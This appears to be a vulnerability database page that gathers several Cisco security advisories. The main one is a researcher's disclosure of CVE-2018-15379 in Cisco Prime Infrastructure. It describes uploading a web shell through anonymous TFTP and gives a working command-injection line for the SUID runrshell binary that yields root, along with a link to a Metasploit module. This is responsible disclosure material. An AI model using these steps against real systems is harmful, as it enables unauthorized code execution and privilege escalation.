A vulnerability in which the HTTP web server for Cisco Prime Infrastructure (PI) has unrestricted directory permissions could allow an unauthenticated, remote attacker to upload an arbitrary file. This file could allow the attacker to execute commands at the privilege level of the user prime. This user does not have administrative or root privileges. The vulnerability is due to an incorrect permission setting for important system directories. An attacker could exploit this vulnerability by uploading a malicious file by using TFTP, which can be accessed via the web-interface GUI. A successful exploit could allow the attacker to run commands on the targeted application without authentication. Cisco Prime Infrastructure is prone to an arbitrary file-upload vulnerability. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution with root privileges within the context of the vulnerable application. This issue is being tracked by Cisco Bug ID CSCvk24890. This module has been tested with CPI 3.2.0.0.258 and 3.4.0.0.348.

A Metasploit module has been released with this advisory, and can be found at [2] and [3]. This module exploits the two vulnerabilities described in this advisory to achieve unauthenticated remote code execution as root on the CPI default installation. It should be integrated into Metasploit's repository in the coming weeks. A special thanks to Beyond Security and their SecuriTeam Secure Disclosure (SSD) programme, which have helped me disclose this vulnerability to the vendor. Their version of this advisory can be found in [2]. >> Technical details: #1 Vulnerability: Arbitrary file upload and execution via tftp and Apache Tomcat CVE-2018-15379 Attack Vector: Remote Constraints: None Affected products / versions: - Cisco Prime Infrastructure 3.2 and later (latest version at the time of writing is 3.4); earlier versions might be affected Most web applications running on the CPI virtual appliance are deployed under /opt/CSCOlumos/apache-tomcat-<VERSION>/webapps. One of these applications is "swimtemp", which symlinks to /localdisk/tftp: ade # ls -l /opt/CSCOlumos/apache-tomcat-8.5.14/webapps/ total 16 drwxrwxr-x. 3 root gadmin 4096 Mar 29 19:49 ROOT drwxrwxr-x. 8 root gadmin 4096 Mar 29 21:44 SSO lrwxrwxrwx. 1 root gadmin 36 Mar 29 21:32 SSO.war -> /opt/CSCOlumos/wars/SSO-13.0.201.war drwxrwxr-x. 4 root gadmin 4096 Mar 29 21:45 ifm_poap_rest lrwxrwxrwx. 1 root gadmin 45 Mar 29 21:32 ifm_poap_rest.war -> /opt/CSCOlumos/wars/ifm_poap_rest-3.70.21.war lrwxrwxrwx. 1 root gadmin 16 Mar 29 19:49 swimtemp -> /localdisk/tftp/ drwxrwxr-x. 22 root gadmin 4096 May 2 15:20 webacs lrwxrwxrwx. 1 root gadmin 30 Mar 29 21:32 webacs.war -> /opt/CSCOlumos/wars/webacs.war As the name implies, this is the directory used by tftp to store files. Cisco has also enabled the upload of files to this directory as tftpd is started with the -c (file create) flag, and it accepts anonymous connections: /usr/sbin/in.tftpd --ipv4 -vv -c --listen -u prime -a :69 --retransmit 6000000 -s /localdisk/tftp The tftpd port is also open to the world in the virtual appliance firewall, so it is trivial to upload a JSP web shell file using a tftp client to the /localdisk/tftp/ directory. The web shell will then be available at https://<IP>/swimtemp/<SHELL>, and it will execute as the "prime" user, which is an unprivileged user that runs the Apache Tomcat server. #2 Vulnerability: runrshell Command Injection (no specific CVE was attributed to this vulnerability by Cisco; use CVE-2018-15379, same as vulnerability #1) Attack Vector: Local Constraints: None Affected products / versions: - Cisco Prime Infrastructure 3.2 and later (latest version at the time of writing is 3.4); earlier versions might be affected The CPI virtual appliance contains a binary at /opt/CSCOlumos/bin/runrshell, which has the SUID bit set and executes as root. It is supposed to start a restricted shell that can only execute commands in /opt/CSCOlumos/rcmds. The decompilation of this function is shown below: int main(int argc, char* argv, char* envp) { char dest; int i; setuid(0); setgid(0); setenv("PATH", "/opt/CSCOlumos/rcmds", 1); memcpy(&dest, "/bin/bash -r -c \"", 0x12uLL); for ( i = 1; argc - 1 >= i; ++i ) { strcat(&dest, argv[i]); strcat(&dest, " "); } strcat(&dest, "\""); return (system(&dest) & 0xFF00) >> 8; } As it can be seen above, the binary uses the system() function to execute: /bin/bash -r -c "<CMD>" ... with the PATH set to /opt/CSCOlumos/rcmds, and the restricted (-r) flag passed to bash, meaning that only commands in the PATH can be executed, environment variables cannot be changed or set, directory cannot be changed, etc. However, due to the way system() function calls "bash -c", it is trivial to inject a command by forcing an end quote after <CMD> and the bash operator '&&': [prime@prime34 ~]$ /opt/CSCOlumos/bin/runrshell '" && /usr/bin/whoami #' root >> Fix: Vulnerability #1 has ben fixed fixed with the patch provided by Cisco in [4]. Vulnerability #2 does not appear to have been fixed as of the last update of this advisory. Please note that Agile Information Security does not verify any fixes, except when noted in the advisory or requested by the vendor. The vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. >> References: [1] https://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html [2] https://blogs.securiteam.com/index.php/archives/3723 [3] https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_prime_inf_rce.rb [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>

A vulnerability in the administrative web interface of Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS) could allow an authenticated, remote attacker to execute code with user-level privileges on the underlying operating system. The vulnerability is due to insufficient validation of the content of upgrade packages. An attacker could exploit this vulnerability by uploading a malicious archive to the Upgrade page of the administrative web interface. A successful exploit could allow the attacker to execute code with user-level privileges on the underlying operating system. Multiple Cisco Products are prone to an remote code-execution vulnerability. This issue is being tracked by Cisco Bug ID CSCvi50935

A vulnerability in the web-based interface of Cisco Unity Connection could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the web-based interface of the affected software. The vulnerability is due to insufficient validation of user-supplied input that is processed by the web-based interface of the affected software. An attacker could exploit this vulnerability by persuading a user of the web-based interface to click a malicious link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or access sensitive, browser-based information. Cisco Unity Connection Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID CSCvj50043 and CSCvj50052. Cisco Unity Connection (UC) is a set of voice message platform of Cisco (Cisco). The platform can use voice commands to make calls or listen to messages "hands-free"

A vulnerability in the TCP syslog module of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to exhaust the 1550-byte buffers on an affected device, resulting in a denial of service (DoS) condition. The vulnerability is due to a missing boundary check in an internal function. An attacker could exploit this vulnerability by establishing a man-in-the-middle position between an affected device and its configured TCP syslog server and then maliciously modifying the TCP header in segments that are sent from the syslog server to the affected device. A successful exploit could allow the attacker to exhaust buffer on the affected device and cause all TCP-based features to stop functioning, resulting in a DoS condition. The affected TCP-based features include AnyConnect SSL VPN, clientless SSL VPN, and management connections such as Secure Shell (SSH), Telnet, and HTTPS. Multiple Cisco Products are prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause a denial-of-service condition; denying service to legitimate users.
